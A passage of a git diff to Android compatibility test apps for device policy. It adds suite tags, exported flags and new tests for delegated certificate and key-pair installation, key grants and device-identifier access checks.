diff --git a/hostsidetests/devicepolicy/app/CertInstaller/Android.bp b/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
index cab9ca4..e14a3b4 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
+++ b/hostsidetests/devicepolicy/app/CertInstaller/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsCertInstallerApp",
     defaults: ["cts_defaults"],
@@ -38,5 +34,6 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CertInstaller/AndroidManifest.xml
index df47d0b..89c72ed 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CertInstaller/AndroidManifest.xml
@@ -15,44 +15,42 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.certinstaller">
+     package="com.android.cts.certinstaller">
 
     <uses-sdk android:minSdkVersion="22"/>
 
-    <uses-permission android:name="android.permission.READ_PHONE_STATE" />
+    <uses-permission android:name="android.permission.READ_PHONE_STATE"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
 
-        <receiver android:name=".CertInstallerReceiver">
+        <receiver android:name=".CertInstallerReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.certinstaller.install_cert" />
-                <action android:name="com.android.cts.certinstaller.remove_cert" />
-                <action android:name="com.android.cts.certinstaller.verify_cert" />
-                <action android:name="com.android.cts.certinstaller.install_keypair" />
-                <category android:name="android.intent.category.DEFAULT" />
+                <action android:name="com.android.cts.certinstaller.install_cert"/>
+                <action android:name="com.android.cts.certinstaller.remove_cert"/>
+                <action android:name="com.android.cts.certinstaller.verify_cert"/>
+                <action android:name="com.android.cts.certinstaller.install_keypair"/>
+                <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
         </receiver>
-        <activity
-            android:name="android.app.Activity"
-            android:exported="true">
+        <activity android:name="android.app.Activity"
+             android:exported="true">
         </activity>
-        <receiver
-            android:name=".CertSelectionDelegateTest$CertSelectionReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <receiver android:name=".CertSelectionDelegateTest$CertSelectionReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.app.action.CHOOSE_PRIVATE_KEY_ALIAS"/>
             </intent-filter>
         </receiver>
     </application>
 
-    <instrumentation
-        android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:label="Delegated Cert Installer CTS test"
-        android:targetPackage="com.android.cts.certinstaller">
-        <meta-data
-            android:name="listener"
-            android:value="com.android.cts.runner.CtsTestRunListener"/>
+    <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
+         android:label="Delegated Cert Installer CTS test"
+         android:targetPackage="com.android.cts.certinstaller">
+        <meta-data android:name="listener"
+             android:value="com.android.cts.runner.CtsTestRunListener"/>
     </instrumentation>
 
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
index 599bd8e..476c109 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
+++ b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/CertInstallerReceiver.java
@@ -24,12 +24,12 @@
 import android.util.Log;
 
 import java.io.ByteArrayInputStream;
-import java.security.cert.CertificateException;
-import java.security.cert.CertificateFactory;
-import java.security.spec.PKCS8EncodedKeySpec;
 import java.security.KeyFactory;
 import java.security.PrivateKey;
 import java.security.cert.Certificate;
+import java.security.cert.CertificateException;
+import java.security.cert.CertificateFactory;
+import java.security.spec.PKCS8EncodedKeySpec;
 import java.util.List;
 
 /**
@@ -55,6 +55,9 @@
     // exercises {@link DevicePolicyManager#installKeyPair},
     private static final String ACTION_INSTALL_KEYPAIR =
             "com.android.cts.certinstaller.install_keypair";
+    // exercises {@link DevicePolicyManager#getEnrollmentSpecificId}
+    private static final String ACTION_READ_ENROLLMENT_SPECIFIC_ID =
+            "com.android.cts.certinstaller.read_esid";
 
     private static final String ACTION_CERT_OPERATION_DONE = "com.android.cts.certinstaller.done";
 
@@ -141,10 +144,17 @@
                 Log.e(TAG, "Exception raised duing ACTION_INSTALL_KEYPAIR", e);
                 sendResult(context, false, e);
             }
+        } else if (ACTION_READ_ENROLLMENT_SPECIFIC_ID.equals(action)) {
+            try {
+                final String esid = dpm.getEnrollmentSpecificId();
+                sendResult(context, !esid.isEmpty(), null);
+            } catch (SecurityException e) {
+                Log.e(TAG, "Exception raised during ACTION_READ_ENROLLMENT_SPECIFIC_ID", e);
+                sendResult(context, false, e);
+            }
         }
     }
 
-
     private void sendResult(Context context, boolean succeed, Exception e) {
         Intent intent = new Intent();
         intent.setAction(ACTION_CERT_OPERATION_DONE);
diff --git a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java
index 4e64ea9..545c22b 100644
--- a/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java
+++ b/hostsidetests/devicepolicy/app/CertInstaller/src/com/android/cts/certinstaller/DirectDelegatedCertInstallerTest.java
@@ -16,8 +16,12 @@
 
 package com.android.cts.certinstaller;
 
-import static com.google.common.truth.Truth.assertWithMessage;
 import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import static org.testng.Assert.assertThrows;
+
+import static java.util.Collections.singleton;
 
 import android.app.admin.DevicePolicyManager;
 import android.content.Context;
@@ -25,7 +29,6 @@
 import android.os.Build;
 import android.security.AttestedKeyPair;
 import android.security.KeyChain;
-import android.security.KeyChainException;
 import android.security.keystore.KeyGenParameterSpec;
 import android.security.keystore.KeyProperties;
 import android.telephony.TelephonyManager;
@@ -56,6 +59,9 @@
  * When this class is done then the DelegatedCertInstallerTest can be deleted.
  */
 public class DirectDelegatedCertInstallerTest extends InstrumentationTestCase {
+    private static final String TEST_ALIAS = "DirectDelegatedCertInstallerTest-keypair";
+    private static final String NON_EXISTENT_ALIAS = "DirectDelegatedCertInstallerTest-nonexistent";
+
     // Content from cacert.pem
     private static final String TEST_CA =
             "-----BEGIN CERTIFICATE-----\n" +
@@ -117,16 +123,29 @@
                     "wZmUCAoTka4hmoaOCj7cqt/IkmxozQ==\n";
 
     private DevicePolicyManager mDpm;
+    private PrivateKey mTestPrivateKey;
+    private Certificate mTestCertificate;
+    private boolean mHasTelephony = false;
+    private TelephonyManager mTelephonyManager;
 
     @Override
     public void setUp() throws Exception {
         super.setUp();
+        mTestPrivateKey = rsaKeyFromString(TEST_KEY);
+        mTestCertificate = certificateFromString(TEST_CERT);
         mDpm = getContext().getSystemService(DevicePolicyManager.class);
+        PackageManager pm = getContext().getPackageManager();
+        if (pm != null && pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY)) {
+            mHasTelephony = true;
+            mTelephonyManager = (TelephonyManager) getContext().getSystemService(
+                    Context.TELEPHONY_SERVICE);
+        }
     }
 
     @Override
     public void tearDown() throws Exception {
         mDpm.uninstallCaCert(null, TEST_CA.getBytes());
+        mDpm.removeKeyPair(null, TEST_ALIAS);
         super.tearDown();
     }
 
@@ -162,20 +181,11 @@
                 mDpm.hasCaCertInstalled(null, cert)).isFalse();
     }
 
-    public void testInstallKeyPair()
-            throws GeneralSecurityException, KeyChainException, InterruptedException {
+    public void testInstallKeyPair() throws Exception {
         final String alias = "delegated-cert-installer-test-key";
 
-        PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(
-                Base64.decode(TEST_KEY, Base64.DEFAULT));
-        PrivateKey privatekey = KeyFactory.getInstance("RSA").generatePrivate(keySpec);
-
-        Certificate certificate = CertificateFactory.getInstance("X.509")
-                .generateCertificate(
-                        new Base64InputStream(new ByteArrayInputStream(TEST_CERT.getBytes()),
-                                Base64.DEFAULT));
-        assertThat(mDpm.installKeyPair(null, privatekey, new Certificate[]{certificate}, alias,
-                true)).isTrue();
+        assertThat(mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate},
+                alias, true)).isTrue();
 
         // Test that the installed private key can be obtained.
         PrivateKey obtainedKey = KeyChain.getPrivateKey(getContext(), alias);
@@ -211,26 +221,91 @@
     }
 
     public void testAccessToDeviceIdentifiers() {
-        String serialNumber = Build.getSerial();
-        assertThat(Build.getSerial()).doesNotMatch(Build.UNKNOWN);
+        final String adminPackageName = "com.android.cts.deviceandprofileowner";
+        if (mDpm.isDeviceOwnerApp(adminPackageName)) {
+            validateCanAccessDeviceIdentifiers();
+        } else {
+            validateNoAccessToIdentifier();
+        }
+    }
 
-        PackageManager pm = getContext().getPackageManager();
-        if ((pm == null) || (!pm.hasSystemFeature(PackageManager.FEATURE_TELEPHONY))) {
+    private void validateNoAccessToIdentifier() {
+        assertThrows(SecurityException.class, () -> Build.getSerial());
+
+        if (!mHasTelephony) {
             return;
         }
 
-        TelephonyManager telephonyService = (TelephonyManager) getContext().getSystemService(
-                Context.TELEPHONY_SERVICE);
         assertWithMessage("Telephony service must be available.")
-                .that(telephonyService).isNotNull();
+                .that(mTelephonyManager).isNotNull();
+
+        assertThrows(SecurityException.class, () -> mTelephonyManager.getImei());
+    }
+
+    public void validateCanAccessDeviceIdentifiers() {
+        assertThat(Build.getSerial()).doesNotMatch(Build.UNKNOWN);
+
+        if (!mHasTelephony) {
+            return;
+        }
+
+        assertWithMessage("Telephony service must be available.")
+                .that(mTelephonyManager).isNotNull();
 
         try {
-            telephonyService.getImei();
+            mTelephonyManager.getImei();
         } catch (SecurityException e) {
             fail("Should have permission to access IMEI: " + e);
         }
     }
 
+    public void testHasKeyPair_NonExistent() {
+        assertThat(mDpm.hasKeyPair(NON_EXISTENT_ALIAS)).isFalse();
+    }
+
+    public void testHasKeyPair_Installed() {
+        mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+                /* requestAccess= */ true);
+
+        assertThat(mDpm.hasKeyPair(TEST_ALIAS)).isTrue();
+    }
+
+    public void testHasKeyPair_Removed() {
+        mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+                /* requestAccess= */ true);
+        mDpm.removeKeyPair(null, TEST_ALIAS);
+
+        assertThat(mDpm.hasKeyPair(TEST_ALIAS)).isFalse();
+    }
+
+    public void testGetKeyPairGrants_Empty() {
+        // Not granting upon install.
+        mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+                /* requestAccess= */ false);
+
+        assertThat(mDpm.getKeyPairGrants(TEST_ALIAS)).isEmpty();
+    }
+
+    public void testGetKeyPairGrants_NonEmpty() {
+        // Granting upon install.
+        mDpm.installKeyPair(null, mTestPrivateKey, new Certificate[]{mTestCertificate}, TEST_ALIAS,
+                /* requestAccess= */ true);
+
+        assertThat(mDpm.getKeyPairGrants(TEST_ALIAS))
+                .isEqualTo(singleton(singleton(getContext().getPackageName())));
+    }
+
+    private PrivateKey rsaKeyFromString(String key) throws Exception {
+        final PKCS8EncodedKeySpec keySpec = new PKCS8EncodedKeySpec(
+                Base64.decode(key, Base64.DEFAULT));
+        return KeyFactory.getInstance("RSA").generatePrivate(keySpec);
+    }
+
+    private Certificate certificateFromString(String cert) throws Exception {
+        return CertificateFactory.getInstance("X.509").generateCertificate(
+                new Base64InputStream(new ByteArrayInputStream(cert.getBytes()), Base64.DEFAULT));
+    }
+
     private static boolean containsCertificate(List<byte[]> certificates, byte[] toMatch)
             throws CertificateException {
         Certificate certificateToMatch = readCertificate(toMatch);
diff --git a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
index 9bd0c7c..f6dfe91 100644
--- a/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContactDirectoryProvider/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsContactDirectoryProvider",
     defaults: ["cts_defaults"],
@@ -24,6 +20,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "current",
 }
diff --git a/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp b/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
index e9b08d8..7539afd 100644
--- a/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentCaptureApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDevicePolicyContentCaptureApp",
     defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "system_current",
 }
diff --git a/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp b/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
index b21e99a..f6d1b82 100644
--- a/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentCaptureService/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDevicePolicyContentCaptureService",
     defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "system_current",
 }
diff --git a/hostsidetests/devicepolicy/app/ContentCaptureService/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ContentCaptureService/AndroidManifest.xml
index 0710df7..fa4be0a 100644
--- a/hostsidetests/devicepolicy/app/ContentCaptureService/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ContentCaptureService/AndroidManifest.xml
@@ -16,16 +16,16 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.devicepolicy.contentcaptureservice" >
+     package="com.android.cts.devicepolicy.contentcaptureservice">
 
     <application>
-        <service
-            android:name=".SimpleContentCaptureService"
-            android:permission="android.permission.BIND_CONTENT_CAPTURE_SERVICE">
+        <service android:name=".SimpleContentCaptureService"
+             android:permission="android.permission.BIND_CONTENT_CAPTURE_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.contentcapture.ContentCaptureService" />
+                <action android:name="android.service.contentcapture.ContentCaptureService"/>
             </intent-filter>
         </service>
     </application>
 
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
index 5a3275c..3facf61 100644
--- a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsDevicePolicyContentSuggestionsApp",
     defaults: ["cts_defaults"],
@@ -25,6 +21,7 @@
         "arcts",
         "cts",
         "general-tests",
+        "mts",
     ],
     sdk_version: "system_current",
 }
diff --git a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/AndroidManifest.xml
index c42469b..8b78d27 100644
--- a/hostsidetests/devicepolicy/app/ContentSuggestionsApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/ContentSuggestionsApp/AndroidManifest.xml
@@ -16,23 +16,24 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.devicepolicy.contentsuggestionsapp" >
+     package="com.android.cts.devicepolicy.contentsuggestionsapp">
 
     <application>
-        <activity android:name=".SimpleActivity" android:exported="true">
+        <activity android:name=".SimpleActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
         </activity>
 
-        <service
-            android:name=".SimpleContentSuggestionsService"
-            android:permission="android.permission.BIND_CONTENT_SUGGESTIONS_SERVICE">
+        <service android:name=".SimpleContentSuggestionsService"
+             android:permission="android.permission.BIND_CONTENT_SUGGESTIONS_SERVICE"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.service.contentsuggestions.ContentSuggestionsService" />
+                <action android:name="android.service.contentsuggestions.ContentSuggestionsService"/>
             </intent-filter>
         </service>
     </application>
 
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
index c141c8e..b0d73da 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/Android.bp
@@ -18,10 +18,6 @@
 
 // === App 1 ===
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsCorpOwnedManagedProfile",
     defaults: ["cts_defaults"],
@@ -46,6 +42,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
 
@@ -74,6 +71,7 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
     aaptflags: [
         "--rename-manifest-package",
diff --git a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml
index b24e8c8..522153c 100644
--- a/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CorpOwnedManagedProfile/AndroidManifest.xml
@@ -15,21 +15,18 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.comp" >
+     package="com.android.cts.comp">
     <!-- package="com.android.cts.comp2"
-         We have com.android.cts.comp2 that have the exact same source but with different package
-         name, see Android.mk for details. -->
-    <application
-        android:testOnly="true">
+                 We have com.android.cts.comp2 that have the exact same source but with different package
+                 name, see Android.mk for details. -->
+    <application android:testOnly="true">
 
-        <uses-library android:name="android.test.runner" />
-        <receiver
-                android:name="com.android.cts.comp.AdminReceiver"
-                android:exported="true"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
-            <meta-data
-                    android:name="android.app.device_admin"
-                    android:resource="@xml/device_admin"/>
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.comp.AdminReceiver"
+             android:exported="true"
+             android:permission="android.permission.BIND_DEVICE_ADMIN">
+            <meta-data android:name="android.app.device_admin"
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
                 <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
                 <action android:name="android.app.action.PROFILE_PROVISIONING_COMPLETE"/>
@@ -38,22 +35,23 @@
         <activity android:name="com.android.compatibility.common.util.devicepolicy.provisioning.StartProvisioningActivity"/>
 
         <service android:name=".ProtectedCrossUserService"
-                android:exported="true"
-                android:permission="android.permission.BIND_DEVICE_ADMIN">
+             android:exported="true"
+             android:permission="android.permission.BIND_DEVICE_ADMIN">
         </service>
 
         <service android:name=".UnprotectedCrossUserService"
-                android:exported="true">
+             android:exported="true">
         </service>
 
-        <receiver android:name=".WipeDataReceiver">
+        <receiver android:name=".WipeDataReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="com.android.cts.comp.WIPE_DATA" />
+                <action android:name="com.android.cts.comp.WIPE_DATA"/>
             </intent-filter>
         </receiver>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-            android:targetPackage="com.android.cts.comp"
-            android:label="Corp owned managed profile CTS tests"/>
+         android:targetPackage="com.android.cts.comp"
+         android:label="Corp owned managed profile CTS tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
index d2a0194..a3f3808 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsCrossProfileAppsTests",
     defaults: ["cts_defaults"],
@@ -34,5 +30,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
index 474df01..c810539 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsTest/AndroidManifest.xml
@@ -15,23 +15,25 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.crossprofileappstest">
+     package="com.android.cts.crossprofileappstest">
 
-    <uses-sdk android:minSdkVersion="21" android:targetSdkVersion="25"/>
+    <uses-sdk android:minSdkVersion="21"
+         android:targetSdkVersion="25"/>
 
     <application>
-        <uses-library android:name="android.test.runner" />
-        <receiver
-            android:name="com.android.cts.crossprofileappstest.AdminReceiver"
-            android:permission="android.permission.BIND_DEVICE_ADMIN">
+        <uses-library android:name="android.test.runner"/>
+        <receiver android:name="com.android.cts.crossprofileappstest.AdminReceiver"
+             android:permission="android.permission.BIND_DEVICE_ADMIN"
+             android:exported="true">
             <meta-data android:name="android.app.device_admin"
-                       android:resource="@xml/device_admin" />
+                 android:resource="@xml/device_admin"/>
             <intent-filter>
-                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED" />
+                <action android:name="android.app.action.DEVICE_ADMIN_ENABLED"/>
             </intent-filter>
         </receiver>
 
-        <activity android:name=".MainActivity" android:exported="true">
+        <activity android:name=".MainActivity"
+             android:exported="true">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
@@ -39,13 +41,15 @@
             </intent-filter>
         </activity>
 
-        <activity android:name=".NonMainActivity" android:exported="true">
+        <activity android:name=".NonMainActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="nonMainActivity" />
+                <action android:name="nonMainActivity"/>
             </intent-filter>
         </activity>
 
-        <activity android:name=".NonExportedActivity" android:exported="false">
+        <activity android:name=".NonExportedActivity"
+             android:exported="false">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN"/>
                 <category android:name="android.intent.category.LAUNCHER"/>
@@ -64,8 +68,8 @@
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.crossprofileappstest"
-                     android:label="Launcher Apps CTS Tests"/>
+         android:targetPackage="com.android.cts.crossprofileappstest"
+         android:label="Launcher Apps CTS Tests"/>
 
-    <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES" />
+    <uses-permission android:name="android.permission.INTERACT_ACROSS_PROFILES"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
index dfa5a8a..e840f46 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileAppsWithNoPermissionTest/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsCrossProfileAppsWithNoPermissionTests",
     defaults: ["cts_defaults"],
@@ -34,5 +30,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
index ab0e16a..5f3ef94 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsCrossProfileEnabledApp",
     defaults: ["cts_defaults"],
@@ -34,5 +30,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/AndroidManifest.xml
index f3fde4c..2729fda 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledApp/AndroidManifest.xml
@@ -16,24 +16,25 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.crossprofileenabledapp">
+     package="com.android.cts.crossprofileenabledapp">
 
-    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29"/>
+    <uses-sdk android:minSdkVersion="29"
+         android:targetSdkVersion="29"/>
 
     <uses-permission android:name="android.permission.INTERACT_ACROSS_USERS"/>
 
-    <application
-        android:crossProfile="true">
-        <receiver android:name=".CrossProfileEnabledAppReceiver">
+    <application android:crossProfile="true">
+        <receiver android:name=".CrossProfileEnabledAppReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED" />
-                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED" />
+                <action android:name="android.intent.action.MANAGED_PROFILE_UNAVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_AVAILABLE"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_ADDED"/>
+                <action android:name="android.intent.action.MANAGED_PROFILE_REMOVED"/>
             </intent-filter>
         </receiver>
     </application>
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-                     android:targetPackage="com.android.cts.crossprofileenabledapp"
-                     android:label="Launcher Apps CTS Tests"/>
+         android:targetPackage="com.android.cts.crossprofileenabledapp"
+         android:label="Launcher Apps CTS Tests"/>
 </manifest>
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
index a3189b4..cff75bd 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/Android.bp
@@ -12,10 +12,6 @@
 // See the License for the specific language governing permissions and
 // limitations under the License.
 
-package {
-    default_applicable_licenses: ["Android-Apache-2.0"],
-}
-
 android_test_helper_app {
     name: "CtsCrossProfileEnabledNoPermsApp",
     defaults: ["cts_defaults"],
@@ -34,5 +30,6 @@
     test_suites: [
         "cts",
         "general-tests",
+        "mts",
     ],
 }
diff --git a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/AndroidManifest.xml
index 243fa23..f7baec4 100644
--- a/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/AndroidManifest.xml
+++ b/hostsidetests/devicepolicy/app/CrossProfileTestApps/CrossProfileEnabledNoPermsApp/AndroidManifest.xml
@@ -16,25 +16,26 @@
   -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.crossprofileenablednopermsapp">
+     package="com.android.cts.crossprofileenablednopermsapp">
 
-    <uses-sdk android:minSdkVersion="29" android:targetSdkVersion="29"/>
+    <uses-sdk android:minSdkVersion="29"
